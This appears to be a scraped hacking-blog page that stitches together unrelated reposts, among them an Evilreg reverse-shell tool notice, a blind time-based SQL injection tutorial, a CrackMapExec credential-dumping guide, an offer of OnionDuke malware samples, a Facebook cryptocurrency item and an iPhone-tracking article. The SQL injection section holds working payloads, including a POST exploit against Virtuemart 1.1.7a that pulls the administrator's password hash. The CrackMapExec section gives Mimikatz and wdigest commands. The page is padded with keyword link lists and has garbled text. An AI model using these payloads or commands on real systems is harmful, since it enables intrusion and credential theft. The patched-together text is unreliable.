Evilreg - Reverse Shell Using Windows Registry Files (.Reg)

Reverse shell using Windows Registry file (.reg).

Features:

• Reverse TCP Port Forwarding using Ngrok.io

Requirements:

• Ngrok Authtoken (for TCP Tunneling): Sign up at: https://ngrok.com/signup
• Your authtoken is available on your dashboard: https://dashboard.ngrok.com
• Install your auhtoken: ./ngrok authtoken <YOUR_AUTHTOKEN>
• Target must reboot/re-login after installing the .reg file

Legal disclaimer:
Usage of Evilreg for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

Usage:

git clone https://github.com/thelinuxchoice/evilreg
cd evilreg
bash evilreg.sh

Author: github.com/thelinuxchoice
Twitter: twitter.com/linux_choice

Download Evilreg

via KitPloit

This article is the property of Tenochtitlan Offensive Security. Verlo Completo --> https://tenochtitlan-sec.blogspot.com

Related links

1. Programas De Hacker
2. Nivel Basico
3. Growth Hacking Examples
4. Hacking Con Buscadores
5. Hacking Marketing
6. Hacking Raspberry Pi
7. Hacking Tutorials
8. Growth Hacking Courses
9. Hacking Hardware
10. Hacking Desde Cero
11. Hacking Ético Con Herramientas Python Pdf
12. Hacker Significado
13. Growth Hacking Sean Ellis
14. Blog Hacking
15. Hacking Wifi Android

Bit Banging Your Database

This post will be about stealing data from a database one bit at a time. Most of the time pulling data from a database a bit at a time would not be ideal or desirable, but in certain cases it will work just fine. For instance when dealing with a blind time based sql injection. To bring anyone who is not aware of what a "blind time based" sql injection is up to speed - this is a condition where it is possible to inject into a sql statement that is executed by the database, but the application gives no indication about the result of the query. This is normally exploited by injecting boolean statements into a query and making the database pause for a determined about of time before returning a response. Think of it as playing a game "guess who" with the database.

Now that we have the basic idea out of the way we can move onto how this is normally done and then onto the target of this post. Normally a sensitive item in the database is targeted, such as a username and password. Once we know where this item lives in the database we would first determine the length of the item, so for example an administrator's username. All examples below are being executed on an mysql database hosting a Joomla install. Since the example database is a Joomla web application database, we would want to execute a query like the following on the database:

select length(username) from jos_users where usertype = 'Super Administrator';

Because we can't return the value back directly we have to make a query like the following iteratively:

select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
select if(length(username)=2,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';

We would keep incrementing the number we compare the length of the username to until the database paused (benchmark function hit). In this case it would be 5 requests until our statement was true and the benchmark was hit. 

Examples showing time difference:

 mysql> select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.00 sec)

mysql> select if(length(username)=5,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.85 sec)

Now in the instance of the password, the field is 65 characters long, so it would require 65 requests to discover the length of the password using this same technique. This is where we get to the topic of the post, we can actually determine the length of any field in only 8 requests (up to 255). By querying the value bit by bit we can determine if a bit is set or not by using a boolean statement again. We will use the following to test each bit of our value: 

Start with checking the most significant bit and continue to the least significant bit, value is '65':

value & 128 
01000001
10000000
-----------
00000000 

value & 64
01000001
01000000
-----------
01000000

value & 32
01000001
00100000
-----------
00000000

value & 16
01000001
00010000
--------
00000000

value & 8
01000001
00001000
--------
00000000

value & 4
01000001
00000100
-----------
00000000

value & 2
01000001
00000010
-----------
00000000

value & 1
01000001
00000001
-----------
00000001

The items that have been highlighted in red identify where we would have a bit set (1), this is also the what we will use to satisfy our boolean statement to identify a 'true' statement. The following example shows the previous example being executed on the database, we identify set bits by running a benchmark to make the database pause:

mysql> select if(length(password) & 128,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 64,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (7.91 sec)

mysql> select if(length(password) & 32,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 16,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 8,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 4,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 2,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 1,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (8.74 sec)

As you can see, whenever we satisfy the boolean statement we get a delay in our response, we can mark that bit as being set (1) and all others as being unset (0). This gives us 01000001 or 65. Now that we have figured out how long our target value is we can move onto extracting its value from the database. Normally this is done using a substring function to move through the value character by character. At each offset we would test its value against a list of characters until our boolean statement was satisfied, indicating we have found the correct character. Example of this:

select if(substring(password,1,1)='a',benchmark(50000000,md5('cc')),0) as query from jos_users;

This works but depending on how your character set that you are searching with is setup can effect how many requests it will take to find a character, especially when considering case sensitive values. Consider the following password hash:

da798ac6e482b14021625d3fad853337skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL

If you searched for this string a character at a time using the following character scheme [0-9A-Za-z] it would take about 1400 requests. If we apply our previous method of extracting a bit at a time we will only make 520 requests (65*8). The following example shows the extraction of the first character in this password:

mysql> select if(ord(substring(password,1,1)) & 128,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

mysql> select if(ord(substring(password,1,1)) & 64,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)

mysql> select if(ord(substring(password,1,1)) & 32,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.93 sec)

mysql> select if(ord(substring(password,1,1)) & 16,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

mysql> select if(ord(substring(password,1,1)) & 8,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

mysql> select if(ord(substring(password,1,1)) & 4,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)

mysql> select if(ord(substring(password,1,1)) & 2,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

mysql> select if(ord(substring(password,1,1)) & 1,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

Again I have highlighted the requests where the bit was set in red. According to these queries the value is 01100100 (100) which is equal to 'd'. The offset of the substring would be incremented and the next character would be found until we reached the length of the value that we found earlier.

Now that the brief lesson is over we can move on to actually exploiting something using this technique. Our target is Virtuemart. Virtuemart is a free shopping cart module for the Joomla platform. Awhile back I had found an unauthenticated sql injection vulnerability in version 1.1.7a. This issue was fixed promptly by the vendor (...I was amazed) in version 1.1.8. The offending code was located in "$JOOMLA/administrator/components/com_virtuemart/notify.php" :

          if($order_id === "" || $order_id === null)
          {
                        $vmLogger->debug("Could not find order ID via invoice");
                        $vmLogger->debug("Trying to get via TransactionID: ".$txn_id);
                        $qv = "SELECT * FROM `#__{vm}_order_payment` WHERE `order_payment_trans_id` = '".$txn_id."'";
                        $db->query($qv);
                        print($qv);
                        if( !$db->next_record()) {
                                $vmLogger->err("Error: No Records Found.");
                        }

The $txn_id variable is set by a post variable of the same name. The following example will cause the web server to delay before returning:

POST /administrator/components/com_virtuemart/notify.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
invoice=1&txn_id=1' or benchmark(50000000,md5('cc'));#  

Now that an insertion point has been identified we can automate the extraction of the "Super Administrator" account from the system:

python vm_own.py "http://192.168.18.131/administrator/components/com_virtuemart/notify.php"

[*] Getting string length

[+] username length is:5

[+] username:admin

[*] Getting string length

[+] password length is:65

[+] password:da798ac6e482b14021625d3fad853337:skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL

The "vm_own.py" script can be downloaded here.

More information

1. Hacking Raspberry Pi
2. Hacking Cracking
3. Herramientas Hacking Android
4. Hacking Marketing
5. Mind Hacking
6. Como Ser Hacker
7. Hacking Hardware
8. Herramientas Hacking Android
9. Hacking Etico Que Es
10. Informatico Hacker
11. Retos Hacking
12. White Hacking
13. Python Desde 0 Hasta Hacking - Máster En Hacking Con Python
14. Hacking Growth Sean Ellis

CrackMapExec: Una Navaja Suiza Para El Pentesting (2 De 2)

Vamos a continuar la segunda parte de este artículo, viendo alguna cosa más que podemos realizar en un Ethical Hacking de un sistema Windows utilizando CrackMapExec. En esta parte vamos a ver cómo podemos hacer un Credential Dumping, o lo que es lo mismo, el volcado de usuarios, hashes y contraseñas, cómo podemos utilizar WMI para la ejecución remota de comandos y cuáles son los módulos que podemos utilizar en la herramienta.

Figura 11: CrackMapExec: Una navaja suiza para el pentesting (2 de 2)

Como ya hemos dicho, CME es una navaja suiza para el pentesting con muchas posibilidades, y por supuesto se complementa con las utilidades que podemos utilizar en un entorno de post-explotación dentro de un Pentesting con PowerShell, o de las cosas que podemos hacer como Metasploit. Es decir una herramienta más en nuestra mochila de pentesters.

Figura 11: Metasploit para pentesters Gold Edition

Credential Dumping

Cuando uno tiene privilegios en la post-explotación siempre necesitará obtener credenciales para poder volver a las máquinas comprometidas o poder moverme lateralmente a otras máquinas.  CME proporciona diferentes parámetros, incluso diferente técnicas, para llevar a cabo el volcado de credenciales. En la siguiente imagen vamos a ver cómo hacer un volcado de credenciales de la SAM, de LSA y de NTDS. Con este último, se pueden utilizar diferentes técnicas, se recomienda leer la documentación de la herramienta, ya que con detalles como estos, gana muchos puntos. 

Figura 12: Pidiendo el volcado de la SAM

Pero, volvemos al movimiento lateral. Antes hemos utilizado credenciales en plano que, por supuesto, se pueden logran en un Ethical Hacking, pero lo suyo es ver en acción el uso de, por ejemplo, hashes NTLM. Si hay un libro que explica en detalle todos los sistemas de autenticación que están disponibles en Windows y cómo gestiona su seguridad el sistema es el libro de Máxima Seguridad en Windows Gold Edition de nuestro compañero Sergio de los Santos que os recomiendo sin duda.

Figura 13: Máxima Seguridad en Windows Gold Edition

Si tenemos un hash NTLM se puede hacer uso de éste con el parámetro -H. Se puede probar de manera rápida el comando crackmapexec -u [usuario] -H [hash NTLM] y ver que la autenticación funciona. 

Figura 14: Comprobando que el hash funciona  

Para ver que la autenticación con hash funciona y que podemos ejecutar acciones, módulos y comandos remotos se añade el parámetro --users, como hicimos anteriormente, para ver que el resultado es el mismo. Es decir, funciona.

Hacemos uso de WMI y la ejecución de comandos remotos

Con el parámetro -x podemos hacer invocaciones de comandos, con diferentes técnicas, una de ellas sería a través de WMI. El servicio Windows Management Instrumentation o WMI provee de un lenguaje de instrumentación del sistema operativo que, como os podéis imaginar, es muy utilizado en la fase de post-explotación, ya que permite realizar un gran número de acciones en este momento del pentesting. 

Por ejemplo, vamos a utilizar el parámetro --wmi seguido de la consulta WMI entrecomillada, tal y como se puede observar en la imagen. El resultado es similar al del uso del parámetro --users. 

 

Figura 15: Probando WMI

Es importante probar el uso del parámetro -x y el comando que se quiere ejecutar, ya que es fácil ejecutar comandos de terminal a través de este protocolo. Esto puede acabar provocando que algo más potente se ejecute lateralmente, por ejemplo… ¿Un Meterpreter? ¿Una iBombShell? ¿Un Empire?

Módulos en CrackMapExec

Para listar los módulos, como se comentó anteriormente, se puede hacer uso del parámetro -L, indicando previamente el protocolo que queremos utilizar. Como se puede ver en la imagen, CME tiene una gran cantidad de módulos de diferente índole: enumeración, volcado de credenciales, ejecución de código, recogida de configuración, etcétera. 

Figura 16: Listado de módulos en CME

 
Como una pequeña prueba se ha ejecutado el módulo de User Account Control. Este módulo lo que devuelve es la configuración del UAC en el sistema.

Figura 17: Accediendo a info de UAC

Otras opciones interesantes son: 

- Módulo de Mimikatz. Opción -M mimikatz.

  

- Mimikatz y el parámetro -o con el que se indica COMMAND='[Comando Mimikatz]'. Es decir, se ejecuta el comando Mimikatz que queramos. Por ejemplo:

 

crackmapexec smb [IP] -u administrator -H [hash ntlm] -M Mimikatz -o 'sekurlsa:logonPasswords'.

 

Esto ejecutaría Mimikatz y éste intentaría volcar todas las credenciales de lsass.exe.  

 

- El módulo de Web_Delivery está presenta también para invocar un Meterpreter a través de Powershell, directamente a memoria. Aquí es posible que, previamente hubiera que hacer bypass AMSI. Pero con PowerShell decides tú el límite.

Figura 18: Libro de Pentesting con PowerShell 2ª Edición

 

- El módulo de wdigest también es interesante, ya que permite habilitar el proveedor de autenticación wdigest a través de la manipulación de una clave de registro. La instrucción sería: crackmapexec smb [IP] -u administrador -H [hash ntlm] -M wdigest -o ACTION=enable.

Sin duda, una interesante herramienta que aporta bastante opciones en un pentesting. Otra herramienta que debemos meter en la mochila del pentester y con muchas opciones para tener éxito en nuestro trabajo.

 
Saludos,

*****************************************************************************

- CrackMapExec: Una navaja suiza para el pentesting (1 de 2)

- CrackMapExec: Una navaja suiza para el pentesting (2 de 2)

*****************************************************************************

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  "Pentesting con Powershell" y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González

Figura 19: Contactar con Pablo González

Sigue Un informático en el lado del mal RSS 0xWord

This article is the property of Tenochtitlan Offensive Security. Verlo Completo --> https://tenochtitlan-sec.blogspot.com

Related links

1. Hacking Articles
2. Como Empezar A Hackear
3. Hacking Growth Pdf
4. Hacker Profesional
5. Hacking Significado
6. Travel Hacking
7. Hacking Hardware Tools
8. Hacking Pdf
9. Programa Hacker
10. Herramientas Growth Hacking
11. Hacker Pelicula
12. Que Hace Un Hacker
13. Hacking Background
14. Phishing Hacking
15. Hacking Etico 101 Pdf
16. Hacking With Arduino

Facebook Plans To Launch Its Own Cryptocurrency

Facebook Plans To Launch Its Own Cryptocurrency

Facebook Plans To Launch Its Own Cryptocurrency

The social network giant, Facebook is going through a bad phase with lots of ups and down. The recent scandal with Cambridge Analytica has caused the world's largest social network giant Facebook to change its stance on user privacy and to be more transparent about its use of the data it collects.

Since then, some social networks based in Blockchain have been popularized, namely Sphere, Steemit, and Howdoo. However, recently, something unusual announcement is announced by the social network giant Facebook itself, in which Facebook stated that it is investing in a Blockchain-based solution development team, but, the purpose of the project is not yet known.

It was with a post on the Facebook page that David Marcus confirmed his departure from the Messenger team and the creation of a small group dedicated to finding solutions based on the potential of Blockchain technology for Facebook.

David Marcus has not given much detail on the work he will do with his new group, saying only that they will study Blockchain from scratch so that they can use this revolutionary technology for Facebook.

"I'm setting up a small group to explore how to leverage Blockchain across Facebook, starting from scratch," stated David Marcus.

Despite being connected to Facebook's Messenger since 2014, David Marcus is no novice in these financial issues related to money transfers. In addition to having introduced the possibility of P2P payments in Messenger itself, David Marcus was President of PayPal and CEO of Zong, a company dedicated to payments on mobile devices.

However, his experience in this segment does not allow us to conclude that Facebook will create or support a crypto coin, but, it also doesn't mean that it will launch or support any crypto coin of its own. Blockchain technology has become famous thanks to crypto-coins, especially Bitcoin, but its potential expands dramatically to other areas.

The potential of Blockchain goes from the crypto-coins to the creation of real ecosystems online, supported by the users of the network. Sharing and storing data is a legacy that Blockchain allows you to explore and maybe the fact that Facebook will use it in your favor.

The lead post in Messenger was then handed over to Stan Chudnovsky, who now heads one of the most widely used communication services around the world, alongside WhatsApp.

Rumors also point out that James Everingham and Kevin Weil, both from Instagram, will also join David Marcus in this new onslaught of Facebook to one of today's most acclaimed technologies.

Related word

• Hacking Y Forensic Desarrolle Sus Propias Herramientas En Python Pdf
• Drupal Hacking
• Funnel Hacking Live
• Sean Ellis Hacking Growth
• Tools For Hacking Wifi
• Hacking Music

Diggy - Extract Enpoints From APK Files

Diggy can extract endpoints/URLs from apk files. It saves the result into a txt file for further processing.


Dependencies

• apktool

Usage

./diggy.sh /path/to/apk/file.apk

You can also install it for easier access by running install.sh
After that, you will be able to run Diggy as follows:

diggy /path/to/apk/file.apk

Download Diggy

Related articles

• Tutoriales Hacking
• Que Es Hacking Etico
• Hacking Online Games
• Aprender Seguridad Informatica
• Hacking Team
• Herramientas Growth Hacking
• Libros De Hacking Pdf
• Hacking To The Gate
• Programas De Hacker
• Hacker En Español
• Hacking With Python
• Marketing Growth Hacking
• Growth Hacking
• Software Hacking
• Hacking Xbox One

OnionDuke Samples

Research:  F-Secure: OnionDuke: APT Attacks Via the Tor Network

Download

Download. Email me if you need the password (new link)

File attributes

Size: 219136

MD5:  28F96A57FA5FF663926E9BAD51A1D0CB

Size: 126464

MD5:  C8EB6040FD02D77660D19057A38FF769

Size: 316928

MD5:  D1CE79089578DA2D41F1AD901F7B1014

Virustotal info

https://www.virustotal.com/en/file/366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b/analysis/

SHA256: 366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b

File name: 366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b

Detection ratio: 8 / 52

Analysis date: 2014-11-15 18:37:30 UTC ( 8 hours, 44 minutes ago ) 

Antivirus Result Update

Baidu-International Trojan.Win32.Agent.adYf 20141107

F-Secure Backdoor:W32/OnionDuke.B 20141115

Ikarus Trojan.Win32.Agent 20141115

Kaspersky Backdoor.Win32.MiniDuke.x 20141115

Norman OnionDuke.A 20141115

Sophos Troj/Ransom-ALA 20141115

Symantec Backdoor.Miniduke!gen4 20141115

Tencent Win32.Trojan.Agent.Tbsl 20141115

https://www.virustotal.com/en/file/366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b/analysis/

SHA256: 366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b

File name: 366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b

Detection ratio: 8 / 52

Antivirus Result Update

Baidu-International Trojan.Win32.Agent.adYf 20141107

F-Secure Backdoor:W32/OnionDuke.B 20141115

Ikarus Trojan.Win32.Agent 20141115

Kaspersky Backdoor.Win32.MiniDuke.x 20141115

Norman OnionDuke.A 20141115

Sophos Troj/Ransom-ALA 20141115

Symantec Backdoor.Miniduke!gen4 20141115

Tencent Win32.Trojan.Agent.Tbsl 20141115

https://www.virustotal.com/en/file/0102777ec0357655c4313419be3a15c4ca17c4f9cb4a440bfb16195239905ade/analysis/

SHA256: 0102777ec0357655c4313419be3a15c4ca17c4f9cb4a440bfb16195239905ade

File name: 0102777ec0357655c4313419be3a15c4ca17c4f9cb4a440bfb16195239905ade

Detection ratio: 19 / 55

Analysis date: 2014-11-15 18:37:25 UTC ( 8 hours, 47 minutes ago ) 

Antivirus Result Update

AVware Trojan.Win32.Generic!BT 20141115

Ad-Aware Backdoor.Generic.933739 20141115

Baidu-International Trojan.Win32.OnionDuke.BA 20141107

BitDefender Backdoor.Generic.933739 20141115

ESET-NOD32 a variant of Win32/OnionDuke.A 20141115

Emsisoft Backdoor.Generic.933739 (B) 20141115

F-Secure Backdoor:W32/OnionDuke.A 20141115

GData Backdoor.Generic.933739 20141115

Ikarus Trojan.Win32.Onionduke 20141115

Kaspersky Backdoor.Win32.MiniDuke.x 20141115

McAfee RDN/Generic BackDoor!zw 20141115

McAfee-GW-Edition BehavesLike.Win32.Trojan.fh 20141114

MicroWorld-eScan Backdoor.Generic.933739 20141115

Norman OnionDuke.B 20141115

Sophos Troj/Ransom-ANU 20141115

Symantec Backdoor.Miniduke!gen4 20141115

TrendMicro BKDR_ONIONDUKE.AD 20141115

TrendMicro-HouseCall BKDR_ONIONDUKE.AD 20141115

VIPRE Trojan.Win32.Generic!BT 20141115

Related word

1. Etica Hacker
2. Hacking With Arduino
3. Hacking Net
4. Hacking With Swift
5. Hacking With Python

How To Track Iphone Without Them Knowing

Few feelings are as stomach-sinkingly awful as the thought of losing an expensive new iPhone. Whether you left it on the bus or someone slid it out of your back pocket, we put so much store in our phones that their loss leaves is saddened and angered. Most of us keep at least copies of everything in our lives on our phones, from personal conversations to emails, 

To say nothing of all our personal information and social media accounts. Of course there are security measures in place, but nobody wants to risk having all that information fall into the hands of the wrong people. In this article, I will show you how to find a phone that has been lost, whether your own phone or the phone of a friend or family member.

Can you track an iPhone without them knowing?

First off, hopefully you activated the Find My Phone feature of your iPhone when you still had it in your possession. Secondly, if your phone doesn't have service (and thus a connection to the Internet) or if you don't have iCloud set up, then these solutions are not going to work for you. Unfortunately phone technology is advanced but it isn't magical; if your phone isn't talking to the network or if you haven't turned on Find My Phone, then unfortunately the technological solution is probably not going to work. (Seriously. If you have possession of your phone(s) then stop reading this article, pick up your devices, go to Settings and select "Find My Phone" (iPhone) or "Find My Device" (Android) and make sure they are toggled on. TTjem upi cam dp ot/"

Without further ado, let's find your phone!

Can I Tell if Someone is Tracking my iPhone?

 

Usually yes, if someone is using the "Find my Phone" feature, it will be displaying things on the iPhone screen. Thankfully, "Find My iPhone" comes pre-loaded on all phones with iOs 9 or newer. "Find my iPhone" is the gold standard when it comes to locating your lost iPhone. The service is integrated as part of iCloud. Here's how to use it to find your missing iPhone then track down your phone's exact location.

Step 1: Open up the "Find My iPhone" on a different device

It doesn't matter if you decide to use your iPad, your laptop, or a friend's iPhone – you can run the Find My Phone app fr0m Mac. You can use the Find my Phone app.

If you are using an Apple product like another phone or an iPad, you can simply click on the app.

If you are using a computer (even a Windows PC will work), go to icloud.com then click on the "Find iPhone" icon. Once you've clicked on the "Find iPhone" icon the website process and "Find my iPhone" app process are the same.

Step 2: Input Your Apple ID Credentials (they are the same as your iCloud info)

Since you are not using your phone, you won't be automatically logged in.

Once you log in to the app, select the "All Devices" drop-down option and then find the device that you want to locate.

Step 3: Once You Select Your Phone, Options Will Appear

As soon as you select your device on the page, iCloud will begin to search for it. If the search is successful, you will see your device on a map, pinpointing it's location. Before you sprint out the door to get it, there are some other options you should take a look at.

Once you select your device you will have three additional options in addition to seeing your phone's location. These options are playing a sound, activating "Lost Mode" and erase the phone.

Playing the sound is a great way to find your phone if you lost it somewhere around your house. If you click the option, an audio alert will go off on your phone which will hopefully help you find it. The alert will sound like a loud pinging noise alerting you that your phone is at home with you and not at the coffee shop you just visited. If you hear the pinging sound then you'll quickly find your phone by just following the sound.

When enabled, Lost Mode will lock your phone with a passcode and will display a message of your choice. This can either ensure it will be safe until you can find it, or will alert the thief what you expect of them and that you know where they are. This mode can also enable location services on your phone too.

However, if things have gone too far and you think there is a very slim chance you will ever get your device back – perhaps your phone has already crossed an international border – the best course of action is to simply erase it. Yes, this is giving up, but it also prevents your personal information getting into the hands of someone who could abuse it.

If you follow these steps, you should have your phone back in your pocket in no time. 

Is there an app to track someones phone without them knowing?

What if you're looking for someone else's phone? I'm sorry to burst your bubble, but you are not allowed to track someone else's phone without their knowledge. While there are supposedly apps that you can install on a target's phone to track it and keep tabs on what they are doing on it, that is completely illegal and immoral. In addition to the moral issue, there is the practical fact that they could find the app which could lead to a very awkward situation, possibly one involving the police.

However, there are times when you want to find a friend's phone and you have a legitimate reason, and (the important part) they have given you permission to find it. Just as when you were looking for your own phone, there is an app that can help you find the phones of your friends and family with ease. The "Find My Friends" app used to be an extra download, but now it comes with iOS, so if your friends have ever updated their phone, they should have it.

"Find My Friends" is an app that basically allows you to share your location with others and vice versa. It can be great for keeping track of where your kids are, knowing what your significant other is doing, or just keeping tabs on your friends. It can also help them find a lost phone (as long as you have "Shared Locations" with them). Here is how to set it up:

Step 1: Open the app on your phone and the phone of the person you want to be able to share locations with.

Step 2: Click your profile in the bottom left of the screen.

Step 3: Enable "Share My Location" and make sure AirDrop is enabled on your own phone.

Step 4: From there, your friends and family will be able to search/add you to share your location with them and vice versa. You each will need to accept the "Shared Location" request from the other. Now, you can just click on their profile in the app and keep track of them.

As you likely realized while reading this article, it is a much better idea to be proactive than reactive when it comes to tracking phones. If you set up "Find My iPhone" and "Find My Friends" before your phone gets stolen or lost, it will save you a lot of potential hassle down the road. While it may be a bit worrisome to have someone be able to see your location at all times, it can really save you once your phone goes missing and you need to track it down. It is obviously best to pick someone who you trust not to take advantage of the information an app like "Find My Friends" can provide them.

No one deserves to have their phone stolen or go missing, but thankfully, there are some ways to find it, or at least have the information deleted. Hopefully, this guide helped you be able to find your phone or the phone of your friends and family, or at least prepared you for when it may happen.

If you have other ways of finding a lost phone, please share them with us below!

@EVERYTHING NT

Related links

• Libros Hacking
• Paginas De Hacking
• Curso Hacking Gratis
• Que Es El Hacking
• Retos Hacking
• Password Hacking
• Hacking Etico Curso Gratis
• Foro Hacking
• Hacker En Español
• Mindset Hacking Nacho
• Live Hacking
• Start Hacking